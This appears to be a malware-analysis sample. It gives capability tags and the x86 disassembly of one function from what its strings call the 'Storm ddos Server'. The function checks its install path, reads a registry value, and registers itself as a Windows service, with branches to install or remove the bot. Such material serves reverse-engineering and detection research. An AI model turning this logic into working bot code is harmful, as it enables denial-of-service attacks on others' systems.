Function at 0x401cb0
Capabilities:
Get common file path
Query or enumerate registry value
Terminate process

Disassembly:
sub esp, 0x330
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push edi
push 0
push 0x4042c8
push 0x4042c8
push 0
call esi
mov eax, dword [0x404120]
cmp eax, 1
jne 0x401efe
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push eax
push 0xf003f
push 0
push 0x404340
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d46
lea ecx, [esp + 0x14]
lea edx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0x404334
push ecx
mov dword [esp + 0x2c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str._SystemRoot_System32_
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x10]
push str.StormServer.dll
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator
mov esi, dword [eax]
lea ecx, [esp + 0x30]
mov dl, byte [ecx]
mov al, dl
cmp dl, byte [esi]
jne 0x401d92
test al, al
je 0x401d8e
mov dl, byte [ecx + 1]
mov al, dl
cmp dl, byte [esi + 1]
jne 0x401d92
add ecx, 2
add esi, 2
test al, al
jne 0x401d6e
xor esi, esi
jmp 0x401d97
sbb esi, esi
sbb esi, 0xffffffff
lea ecx, [esp + 0x14]
call fcn.00402600
test esi, esi
jne 0x401dab
push esi
call dword [sym.imp.MSVCRT.dll_exit]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x134]
push 0x104
push eax
call ebp
mov edi, 0x4042cc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x134]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.StormServer.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x4043b0
call sub.MFC42.DLL_CString::CString_1
push 0x65
push ecx
lea eax, [esp + 0x140]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
call sub.MFC42.DLL_CString::CString_1
jmp section..htext
cmp eax, 2
jne 0x401f75
call fcn.00402320
test eax, eax
je 0x401f48
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], str.Storm_ddos_Server
push ecx
mov dword [esp + 0x28], 0x401510
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov eax, 1
pop edi
pop esi
pop ebp
add esp, 0x330
ret 0x10
push 0x4041c8
push 0x404148
push str.Storm_ddos_Server
call fcn.00401fd0
mov eax, dword [0x4044ac]
add esp, 0xc
test eax, eax
je 0x401fbf
call fcn.00401390
push 0
call dword [sym.imp.MSVCRT.dll_exit]
cmp eax, 3
jne 0x401fa5
push 0
push 0x4044f4
push 0x4044f4
push 0
call esi
call fcn.00401900
call fcn.00401390
mov eax, 1
pop edi
pop esi
pop ebp
add esp, 0x330
ret 0x10
cmp eax, 4
jne 0x401fbf
push 0
push 0x4044f4
push 0x4044f4
push 0
call esi
call fcn.00401b90
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x330
ret 0x10